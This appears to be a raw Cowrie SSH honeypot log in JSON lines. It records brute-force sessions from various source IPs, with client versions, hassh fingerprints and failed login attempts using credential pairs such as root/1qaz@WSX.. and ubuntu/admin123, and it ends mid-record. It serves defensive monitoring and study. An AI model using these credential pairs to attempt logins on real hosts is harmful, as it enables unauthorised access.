{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:47.407068Z","src_ip":"45.233.218.160","session":"f7e4ea389071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX..","message":"login attempt [root/1qaz@WSX..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:47.972335Z","src_ip":"45.233.218.160","session":"f7e4ea389071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:49.109371Z","src_ip":"45.233.218.160","session":"f7e4ea389071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":55638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d03e5c84fe","protocol":"ssh","message":"New connection: 109.172.54.111:55638 (10.17.0.5:22) [session: e5d03e5c84fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:49.664055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:49.669250Z","src_ip":"109.172.54.111","session":"e5d03e5c84fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:49.768743Z","src_ip":"109.172.54.111","session":"e5d03e5c84fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lexus","message":"login attempt [root/lexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:50.096288Z","src_ip":"109.172.54.111","session":"e5d03e5c84fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:44:51.199023Z","src_ip":"109.172.54.111","session":"e5d03e5c84fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":34022,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f05ff86680","protocol":"ssh","message":"New connection: 121.168.139.251:34022 (10.17.0.5:22) [session: d0f05ff86680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:20.541629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:20.546958Z","src_ip":"121.168.139.251","session":"d0f05ff86680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:20.748594Z","src_ip":"121.168.139.251","session":"d0f05ff86680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Password","message":"login attempt [root/123Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:21.588066Z","src_ip":"121.168.139.251","session":"d0f05ff86680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:22.792222Z","src_ip":"121.168.139.251","session":"d0f05ff86680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d19167e66a","protocol":"ssh","message":"New connection: 89.223.69.22:53740 (10.17.0.5:22) [session: c8d19167e66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:33.714349Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":49670,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6e33e48087","protocol":"ssh","message":"New connection: 79.143.189.125:49670 (10.17.0.5:22) [session: 0e6e33e48087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:39.286749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:39.291323Z","src_ip":"79.143.189.125","session":"0e6e33e48087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:39.384637Z","src_ip":"79.143.189.125","session":"0e6e33e48087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"123","message":"login attempt [tmp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:39.860991Z","src_ip":"79.143.189.125","session":"0e6e33e48087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:45:40.956763Z","src_ip":"79.143.189.125","session":"0e6e33e48087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":54176,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aadfd4cea28","protocol":"ssh","message":"New connection: 78.44.192.210:54176 (10.17.0.5:22) [session: 0aadfd4cea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:10.234576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:10.239377Z","src_ip":"78.44.192.210","session":"0aadfd4cea28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:10.354302Z","src_ip":"78.44.192.210","session":"0aadfd4cea28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:10.819689Z","src_ip":"78.44.192.210","session":"0aadfd4cea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:11.933477Z","src_ip":"78.44.192.210","session":"0aadfd4cea28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":60836,"dst_ip":"10.17.0.5","dst_port":22,"session":"0078f889e291","protocol":"ssh","message":"New connection: 45.233.218.160:60836 (10.17.0.5:22) [session: 0078f889e291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:38.561456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:38.566209Z","src_ip":"45.233.218.160","session":"0078f889e291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:38.704840Z","src_ip":"45.233.218.160","session":"0078f889e291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:39.291597Z","src_ip":"45.233.218.160","session":"0078f889e291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:46:40.431873Z","src_ip":"45.233.218.160","session":"0078f889e291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb14bdef28b","protocol":"ssh","message":"New connection: 121.168.139.251:54326 (10.17.0.5:22) [session: fcb14bdef28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:00.284240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:00.290634Z","src_ip":"121.168.139.251","session":"fcb14bdef28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:00.489007Z","src_ip":"121.168.139.251","session":"fcb14bdef28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser2025","message":"login attempt [devuser/devuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:01.313445Z","src_ip":"121.168.139.251","session":"fcb14bdef28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:02.514599Z","src_ip":"121.168.139.251","session":"fcb14bdef28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":39734,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ae44e8165e","protocol":"ssh","message":"New connection: 79.143.189.125:39734 (10.17.0.5:22) [session: b3ae44e8165e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:27.769796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:27.774444Z","src_ip":"79.143.189.125","session":"b3ae44e8165e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:27.866568Z","src_ip":"79.143.189.125","session":"b3ae44e8165e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc@","message":"login attempt [root/123abc@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:28.271914Z","src_ip":"79.143.189.125","session":"b3ae44e8165e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:29.370384Z","src_ip":"79.143.189.125","session":"b3ae44e8165e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.124.73.190","src_port":44292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eef01b6a6c4","protocol":"ssh","message":"New connection: 115.124.73.190:44292 (10.17.0.5:22) [session: 5eef01b6a6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:31.198598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:47:31.203234Z","src_ip":"115.124.73.190","session":"5eef01b6a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-